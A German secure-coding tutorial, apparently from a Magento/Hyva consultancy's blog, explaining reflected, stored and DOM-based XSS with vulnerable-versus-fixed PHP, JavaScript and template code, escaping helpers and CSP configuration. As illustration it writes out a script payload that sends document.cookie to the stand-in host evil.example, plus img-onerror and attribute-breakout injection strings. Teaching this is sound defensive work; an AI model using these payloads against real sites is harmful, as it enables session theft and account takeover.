Cross-Site Scripting (XSS): Typen, Ursachen, Schutz
OWASP
0x00
Security · Cross-Site Scripting · OWASP Top 10 · Magento 2
Cross-Site Scripting (XSS): Typen, Ursachen, Schutz
Reflected, Stored und DOM-based XSS sicher verhindern

Cross-Site Scripting zählt seit Jahren zu den häufigsten Schwachstellen in Webanwendungen und erlaubt Angreifern, eigenen JavaScript-Code im Browser fremder Nutzer auszuführen. Dieser Artikel erklärt die drei XSS-Typen reflected, stored und DOM-based, zeigt wie unescaped Ausgaben zu ausführbarem Code werden, und liefert konkrete Schutzmaßnahmen über kontextabhängiges Encoding, Content-Security-Policy und die Escaping-Helfer von Magento und Hyva.

16 Min. Lesezeit Reflected · Stored · DOM-based XSS CSP · Output-Encoding · Magento/Hyva

1. Was Cross-Site Scripting wirklich bedeutet

Cross-Site Scripting (XSS) ist eine Schwachstellenklasse, bei der eine Webanwendung nicht vertrauenswürdige Eingaben ungeprüft als Teil einer Webseite ausliefert, sodass der Browser eines Opfers fremden JavaScript-Code im Sicherheitskontext der eigentlich vertrauenswürdigen Seite ausführt. XSS steht seit Jahren konstant in den OWASP-Top-10-Kategorien für Injection-Schwachstellen und betrifft praktisch jede Anwendung, die Nutzereingaben irgendwo wieder ausgibt: Suchfelder, Produktbewertungen, Kommentarfunktionen, Profilnamen oder URL-Parameter. Die Konsequenzen reichen von Session-Diebstahl über das Auslesen von Formulardaten bis zur vollständigen Übernahme eines Kundenkontos.

Der entscheidende Unterschied zu serverseitigen Injection-Angriffen wie SQL-Injection: Der schädliche Code läuft nicht auf dem Server, sondern im Browser des Opfers, und zwar mit denselben Rechten wie legitimer Code der Seite. Das bedeutet, ein XSS-Payload kann auf Cookies zugreifen, authentifizierte Requests im Namen des Opfers absenden, Formulareingaben mitschneiden oder die komplette Seite für Phishing-Zwecke manipulieren. Same-Origin-Policy schützt hier nicht, weil der Angreifer-Code technisch als Teil der vertrauenswürdigen Seite läuft, nicht als externe Quelle.

2. Die drei XSS-Typen: Reflected, Stored und DOM-based

Reflected XSS entsteht, wenn Eingaben aus dem aktuellen Request, etwa ein Query-Parameter oder ein Formularfeld, unverändert in der Serverantwort erscheinen. Der Angriff ist nicht persistent: Der Angreifer muss das Opfer dazu bringen, einen präparierten Link zu öffnen, etwa über Phishing-E-Mails oder manipulierte Werbebanner. Klassisches Beispiel: eine Fehlerseite, die den Suchbegriff aus der URL unverändert in die Meldung „Keine Ergebnisse für ... gefunden" einbaut.

Stored XSS ist die gefährlichere Variante, weil der schädliche Code dauerhaft in der Datenbank landet, etwa in einer Produktbewertung, einem CMS-Block oder einem Kundenkommentar, und danach jedem Besucher der betroffenen Seite ausgeliefert wird. Ein einziger erfolgreicher Angriff kann so tausende Nutzer treffen, ohne dass jeder Einzelne einen manipulierten Link anklicken muss. Genau deshalb sind nutzergenerierte Inhalte in Magento-Shops, etwa Produktreviews oder Gästebuch-Module, ein bevorzugtes Ziel.

DOM-based XSS unterscheidet sich fundamental: Die Schwachstelle liegt vollständig im clientseitigen JavaScript. Quelle und Ziel des Angriffs, etwa location.hash als Quelle und innerHTML als Ziel, befinden sich beide im DOM. Der Server sieht den schädlichen Payload oft nie, weil er beispielsweise nur im URL-Fragment nach dem Raute-Zeichen steht. Das macht DOM-based XSS für serverseitige Logs, Web Application Firewalls und klassische Input-Validierung unsichtbar.

3. Wie aus unescaped Ausgabe ausführbarer Code wird

Browser parsen HTML inkrementell und unterscheiden dabei strikt zwischen Markup-Struktur und Textinhalt. Landet eine rohe, nicht kodierte Nutzereingabe an einer Stelle, die als HTML interpretiert wird, kann der Browser nicht mehr erkennen, dass diese Zeichenkette eigentlich reine Daten sein sollte. Enthält die Eingabe Zeichen wie <, > oder ", entstehen daraus neue HTML-Elemente, Attribute oder Event-Handler, die der Browser genauso ausführt wie vom Entwickler geschriebenes Markup.

Am Beispiel eines klassischen Suchfelds wird die Mechanik greifbar: Wird der Suchbegriff ohne Encoding direkt in die HTML-Antwort geschrieben, reicht ein Payload wie <script>document.location='https://evil.example/steal?c='+document.cookie</script>, um im Browser des Opfers Code auszuführen, der das Sitzungscookie an einen fremden Server sendet. Die einzig zuverlässige Gegenmaßnahme ist, jede dynamische Ausgabe konsequent für den jeweiligen Ausgabekontext zu kodieren, statt sich auf Input-Validierung oder Blacklists einzelner Zeichenketten zu verlassen, die sich fast immer umgehen lassen.


<?php
// VULNERABLE: raw user input echoed directly into HTML response
$searchTerm = $_GET['q'];
echo "<p>Keine Ergebnisse für {$searchTerm} gefunden.</p>";
// Payload: ?q=<script>document.location='https://evil.example/steal?c='+document.cookie</script>
// Result: attacker script runs in the victim's browser with the site's origin

// FIXED: context-aware HTML encoding before output
$searchTerm = $_GET['q'] ?? '';
$safeSearchTerm = htmlspecialchars($searchTerm, ENT_QUOTES | ENT_HTML5, 'UTF-8');
echo "<p>Keine Ergebnisse für {$safeSearchTerm} gefunden.</p>";
// "<script>" becomes "&lt;script&gt;": rendered as inert text, not executable markup

4. Kontextabhängiges Output-Encoding: HTML, Attribut, JS, URL

Eine der häufigsten Ursachen für unvollständigen XSS-Schutz ist die Annahme, eine einzige Encoding-Funktion reiche für alle Ausgabestellen. Tatsächlich braucht jeder Ausgabekontext seine eigene Kodierung, weil jeder Kontext unterschiedliche Zeichen als Steuerzeichen interpretiert. HTML-Body-Text benötigt Entity-Encoding für <, > und &. HTML-Attributwerte benötigen zusätzlich Quote-Encoding, weil ein Angreifer sonst mit einem Anführungszeichen aus dem Attribut ausbrechen und ein neues Attribut wie onmouseover einschleusen kann, selbst wenn spitze Klammern bereits kodiert sind.

Innerhalb von Inline-JavaScript reicht HTML-Encoding nicht aus, weil der Browser den String bereits als JavaScript parst, bevor überhaupt HTML-Entities aufgelöst werden; hier ist JavaScript-String-Escaping oder besser eine strukturierte JSON-Kodierung nötig. In URL-Kontexten, etwa innerhalb eines href-Attributs, muss zusätzlich verhindert werden, dass ein Angreifer über javascript:-Pseudo-Protokolle eigenen Code einschleust. Die Grundregel lautet: Encoding-Funktion immer passend zur Position im Dokument wählen, nicht zur Datenquelle.


<!-- HTML body context: entity-encode < > & -->
<p>Willkommen, {{escapeHtml(username)}}</p>
<!-- "<b>Max</b>" becomes literal text, not a bold tag -->

<!-- HTML attribute context: quote-encoding is mandatory, even inside quotes -->
<input type="text" value="{{escapeHtmlAttr(userInput)}}">
<!-- Without it: value="x" onmouseover="stealCookies()" breaks out of the attribute -->

<!-- Inline JavaScript context: HTML-encoding alone is not enough -->
<script>
  var greeting = "{{escapeJs(username)}}";
  // Without JS-escaping: username = ";alert(document.cookie);"  closes the string and injects code
</script>

<!-- URL context: encode the value and reject dangerous schemes -->
<a href="/search?q={{escapeUrl(searchTerm)}}">Suche wiederholen</a>
<!-- Never allow "javascript:" or "data:" as a user-controlled href scheme -->

5. DOM-based XSS: innerHTML, eval und Alpine.js-Fallstricke

DOM-based XSS entsteht, wenn clientseitiges JavaScript Daten aus einer nicht vertrauenswürdigen Quelle liest und ungefiltert an eine gefährliche Senke weiterreicht. Typische Quellen sind location.hash, location.search, document.referrer, window.name und Nachrichten aus postMessage. Gefährliche Senken sind innerHTML, outerHTML, document.write, eval, setTimeout mit einem String-Argument sowie insertAdjacentHTML. Landet unkodierter Nutzer-Content in einer dieser Senken, parst der Browser ihn als HTML oder JavaScript, unabhängig davon, was der Server ausgeliefert hat.

In Alpine.js-basierten Hyva-Templates gilt dieselbe Regel für die Direktive x-html: Sie rendert den gebundenen Wert als rohes HTML und ist damit strukturell riskant, sobald der Wert auch nur teilweise aus Nutzereingaben, URL-Parametern oder externen APIs stammt. Für reinen Text ist x-text die sichere Alternative, weil Alpine den Wert dabei über textContent setzt und der Browser ihn niemals als Markup interpretiert. x-html sollte ausschließlich für fest im Code definierte oder serverseitig bereits sicher aufbereitete Inhalte verwendet werden.


// VULNERABLE: DOM-based XSS via URL fragment and innerHTML sink
const params = new URLSearchParams(location.hash.slice(1));
document.getElementById('greeting').innerHTML = 'Hallo ' + params.get('name');
// URL: https://shop.example/#name=<img src=x onerror=alert(document.cookie)>
// The payload never touches the server, yet executes in the victim's browser

// FIXED: use textContent, the browser never parses it as markup
const safeName = params.get('name') ?? '';
document.getElementById('greeting').textContent = 'Hallo ' + safeName;

// Alpine.js / Hyva: prefer x-text over x-html for anything user-controlled
// VULNERABLE:  <div x-html="product.description"></div>
// SAFER:       <div x-text="product.description"></div>
// x-html is only acceptable for content that is already sanitized server-side

6. Content-Security-Policy als Defense-in-Depth

Eine Content-Security-Policy (CSP) ist eine vom Browser durchgesetzte Allowlist, die festlegt, aus welchen Quellen Skripte, Stylesheets, Bilder und andere Ressourcen geladen werden dürfen. Eine strikte Policy mit script-src 'self' und ohne 'unsafe-inline' blockiert Inline-Scripts und damit einen Großteil klassischer XSS-Payloads, selbst wenn eine Encoding-Lücke im Code übersehen wurde. CSP ist damit kein Ersatz für Output-Encoding, sondern eine zweite, unabhängige Verteidigungslinie, die den Schaden einer übersehenen Schwachstelle begrenzt.

Magento 2 bringt seit Version 2.3.5 ein eigenes CSP-Modul (Magento_Csp) mit, über das Module ihre benötigten Skript-, Style- und Frame-Quellen deklarativ in csp_whitelist.xml eintragen, statt die Policy pauschal aufzuweichen. Nonce-basierte Inline-Scripts, wie sie Hyva über $hyvaCsp->registerInlineScript() registriert, bleiben dabei erlaubt, weil jedes Script-Tag ein serverseitig generiertes, pro Request eindeutiges Nonce-Attribut erhält, das ein Angreifer nicht erraten kann. Der Report-Only-Modus (Content-Security-Policy-Report-Only) erlaubt es, eine neue Policy zunächst nur zu protokollieren, bevor sie aktiv Anfragen blockiert.


<!-- app/code/Vendor/Module/etc/csp_whitelist.xml -->
<!-- Declare required script sources instead of weakening the global CSP policy -->
<csp_whitelist xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
               xsi:noNamespaceSchemaLocation="urn:magento:module:Magento_Csp:etc/csp_whitelist.xsd">
    <policies>
        <policy id="script-src">
            <values>
                <value id="analytics" type="host">https://analytics.example.com</value>
            </values>
        </policy>
        <policy id="object-src">
            <none>true</none>
        </policy>
    </policies>
</csp_whitelist>

<!-- Resulting response header (managed by Magento_Csp), nonce generated per request -->
<!-- Content-Security-Policy: script-src 'self' 'nonce-Rand0mPerRequest'; object-src 'none'; base-uri 'self' -->

7. Magento & Hyva: escapeHtml, escapeJs, escapeUrl richtig einsetzen

Magento\Framework\Escaper stellt kontextspezifische Methoden bereit, die exakt den vier Encoding-Kontexten aus Abschnitt 4 entsprechen: escapeHtml() für HTML-Body-Text, escapeHtmlAttr() für Attributwerte, escapeJs() für Inline-JavaScript und escapeUrl() für URL-Werte. In Hyva-Templates steht der Escaper standardmäßig als $escaper zur Verfügung. Der häufigste Fehler in der Praxis: Entwickler nutzen escapeHtml() für jeden Wert unabhängig vom Zielkontext, etwa auch innerhalb eines <script>-Blocks, wo eigentlich escapeJs() oder eine JSON-Kodierung nötig wäre.

Ein zweiter verbreiteter Fehler ist das komplette Auslassen des Escapers bei vermeintlich vertrauenswürdigen Quellen wie CMS-Blöcken oder Admin-gepflegten Inhalten, obwohl auch Admin-Accounts kompromittiert werden können. Wo begrenztes HTML-Formatting explizit gewünscht ist, etwa fett oder kursiv in einer Produktbeschreibung, erlaubt escapeHtml($value, ['b', 'i', 'em', 'strong']) gezielt eine Allowlist bestimmter Tags, statt komplett ungeprüftes HTML durchzulassen. Nach jedem Inline-<script>-Block muss zusätzlich $hyvaCsp->registerInlineScript() aufgerufen werden, damit das Script unter der CSP-Policy ein gültiges Nonce erhält.


<?php
/** @var \Magento\Framework\Escaper $escaper */
/** @var \Vendor\Module\ViewModel\Review $viewModel */
?>

<!-- VULNERABLE: raw output of a customer-supplied review title -->
<h3><?= $block->getReviewTitle() ?></h3>

<!-- FIXED: HTML-body context, entity-encoded -->
<h3><?= $escaper->escapeHtml($viewModel->getReviewTitle()) ?></h3>

<!-- Attribute context: escapeHtmlAttr, not escapeHtml -->
<div data-review-id="<?= $escaper->escapeHtmlAttr($viewModel->getReviewId()) ?>">

<!-- Allowlist a few safe formatting tags for rich CMS content -->
<p><?= $escaper->escapeHtml($viewModel->getReviewBody(), ['b', 'i', 'em', 'strong']) ?></p>

<!-- Inline script: escapeJs for the value, registerInlineScript for the CSP nonce -->
<script>
    var reviewId = "<?= $escaper->escapeJs($viewModel->getReviewId()) ?>";
</script>
<?php $hyvaCsp->registerInlineScript() ?>

8. XSS erkennen: Testing, Code-Review und Tools

Manuelles Code-Review bleibt die wirksamste erste Verteidigungslinie: Gezieltes Suchen nach Mustern wie direkter Ausgabe von $_GET, $_POST oder getData()-Rückgabewerten ohne Escaper-Aufruf, nach innerHTML-Zuweisungen mit dynamischem Inhalt und nach x-html-Bindings in Alpine-Templates deckt einen Großteil der Schwachstellen auf, bevor Code überhaupt in Produktion geht. Statische Analyse-Tools wie Psalm mit aktivierter Taint-Analyse oder ESLint mit dem Plugin eslint-plugin-no-unsanitized automatisieren genau diese Suche und lassen sich direkt in die CI-Pipeline integrieren, sodass ein Pull Request mit unescaped Output gar nicht erst gemerged werden kann.

Ergänzend gehört dynamisches Testen der eigenen Anwendung zum Standardrepertoire: Jedes Eingabefeld und jeder Query-Parameter, der irgendwo im Response wieder auftaucht, wird gezielt mit harmlosen Testpayloads wie <script>alert(document.domain)</script> geprüft, um zu sehen, ob und in welchem Kontext der Wert unkodiert landet. Tools wie OWASP ZAP oder Burp Suite automatisieren diesen Scan über eine gesamte Anwendung hinweg. Wichtig: Solche aktiven Scans und Payload-Tests gehören ausschließlich auf eigene Systeme oder Systeme, für die eine ausdrückliche Freigabe zum Penetrationstest vorliegt.

9. Encoding-Funktionen im Vergleich

Die folgende Übersicht fasst zusammen, welche Encoding-Funktion für welchen Ausgabekontext richtig ist und warum das jeweils unsichere Muster eine Lücke öffnet. Sie dient als schnelle Referenz beim Code-Review und für neue Templates.

Kontext Unsicheres Muster Sicheres Encoding Warum
HTML-Body-Text echo $var escapeHtml() Verhindert die Injektion neuer HTML-Tags
HTML-Attribut value="<?= $var ?>" escapeHtmlAttr() Verhindert Ausbruch aus dem Attribut
Inline JavaScript var x = "<?= $var ?>" escapeJs() Verhindert String-Ausbruch im Script
URL-Parameter href="?q=<?= $var ?>" escapeUrl() Verhindert Schema- und Query-Injection
DOM-Manipulation (JS) el.innerHTML = data el.textContent = data Browser parst den Wert nie als Markup

Auffällig ist, dass fast alle unsicheren Muster in der Tabelle strukturell identisch sind: Eine nicht vertrauenswürdige Zeichenkette wird ohne Rücksicht auf den Zielkontext direkt in ausführbares Markup oder Code eingebettet. Wer sich merkt, dass jede Ausgabestelle eine bewusste Entscheidung für die passende Encoding-Funktion erfordert, statt sich auf eine einzige globale Sanitisierung zu verlassen, vermeidet den überwiegenden Teil aller XSS-Schwachstellen in eigenen Anwendungen.

Mironsoft

Security-Audits, Code-Reviews und CSP-Hardening für Magento- und Hyva-Shops

XSS-Schwachstellen in eurem Shop zuverlässig schließen?

Wir prüfen eure Templates, ViewModels und Frontend-Skripte auf reflected, stored und DOM-based XSS, härten die Content-Security-Policy und setzen kontextabhängiges Escaping konsequent in Magento- und Hyva-Codebasen um.

XSS-Code-Review

Gezielte Prüfung aller Ausgabestellen und Escaping-Aufrufe im Code

CSP-Rollout

Nonce-basierte Content-Security-Policy für Magento_Csp einrichten

Pentesting-Begleitung

Dynamische Tests mit ZAP/Burp und Nachbesserung gefundener Lücken

10. Zusammenfassung

Cross-Site Scripting löst sich nicht mit einer einzelnen Maßnahme, sondern mit mehreren aufeinander abgestimmten Schutzschichten. Reflected, stored und DOM-based XSS unterscheiden sich in Persistenz und Angriffsweg, folgen aber demselben Grundmuster: nicht vertrauenswürdige Daten landen unkodiert an einer Stelle, an der der Browser sie als ausführbares Markup interpretiert. Kontextabhängiges Encoding mit den passenden Funktionen für HTML-Body, Attribute, Inline-JavaScript und URLs schließt die Lücke an der Quelle, in Magento und Hyva über escapeHtml(), escapeHtmlAttr(), escapeJs() und escapeUrl().

Eine strikte Content-Security-Policy mit Nonces ergänzt das Encoding als zweite, unabhängige Verteidigungslinie und begrenzt den Schaden, falls eine Schwachstelle trotzdem übersehen wird. Wer zusätzlich statische Analyse in die CI-Pipeline integriert und Eingabefelder regelmäßig mit Testpayloads prüft, reduziert das Risiko systematisch, statt einzelne Vorfälle reaktiv zu beheben.

Cross-Site Scripting (XSS): Das Wichtigste auf einen Blick

Drei XSS-Typen

Reflected (nicht persistent, Request-basiert), Stored (persistent, trifft alle Besucher) und DOM-based (rein clientseitig, für den Server unsichtbar).

Kontextabhängiges Encoding

HTML-Body, Attribut, JavaScript und URL brauchen jeweils eigene Encoding-Funktionen, niemals eine einzige globale Sanitisierung.

CSP als Defense-in-Depth

Nonce-basierte Content-Security-Policy blockiert Inline-Scripts und begrenzt den Schaden übersehener Lücken.

Magento/Hyva-Escaping

escapeHtml(), escapeHtmlAttr(), escapeJs(), escapeUrl() konsequent passend zum Ausgabekontext einsetzen.

11. FAQ: Cross-Site Scripting (XSS)

1Was ist Cross-Site Scripting (XSS)?
Eine Schwachstellenklasse, bei der ungeprüfte Eingaben ausgeliefert werden und der Browser fremden Code im Sicherheitskontext der vertrauenswürdigen Seite ausführt.
2Unterschied zwischen reflected und stored XSS?
Reflected wird aus dem Request gespiegelt und braucht einen präparierten Link. Stored landet dauerhaft in der Datenbank und trifft jeden Besucher der Seite.
3Was ist DOM-based XSS?
Quelle und Ziel liegen vollständig im clientseitigen JavaScript, etwa location.hash und innerHTML. Der Server sieht den Payload oft nie.
4Warum reicht htmlspecialchars() nicht überall?
Es kodiert korrekt für HTML-Text, schützt aber nicht in JavaScript- oder URL-Kontexten. Jeder Kontext braucht seine eigene Encoding-Funktion.
5Was macht escapeJs() in Magento/Hyva?
Kodiert einen Wert sicher für die Einbettung in einen JavaScript-String innerhalb eines Inline-Scripts, ohne dass der String-Kontext verlassen werden kann.
6Verhindert eine CSP XSS vollständig?
Nein, sie begrenzt den Schaden als zweite Verteidigungslinie. Output-Encoding an der Quelle bleibt trotzdem zwingend erforderlich.
7Schützt HttpOnly gegen XSS?
Nur der Cookie-Zugriff per JavaScript wird verhindert, die eigentliche Schwachstelle bleibt bestehen. Authentifizierte Aktionen sind weiterhin möglich.
8Wie teste ich meine Anwendung auf XSS?
Code-Review nach unescaped Ausgaben, statische Taint-Analyse und dynamische Scans mit ZAP/Burp gegen autorisierte, eigene Systeme.
9Ist Hyva automatisch sicherer gegen XSS?
Hyva bietet gute Werkzeuge wie Escaper und CSP-Integration, ersetzt aber nicht die Sorgfalt der Entwickler bei x-html und Escaping.
10Häufigster XSS-Fehler in Magento-Modulen?
Direkte Ausgabe ohne Escaper-Aufruf sowie falsche Escaping-Funktion für den Kontext, etwa escapeHtml() statt escapeJs() in einem Script-Block.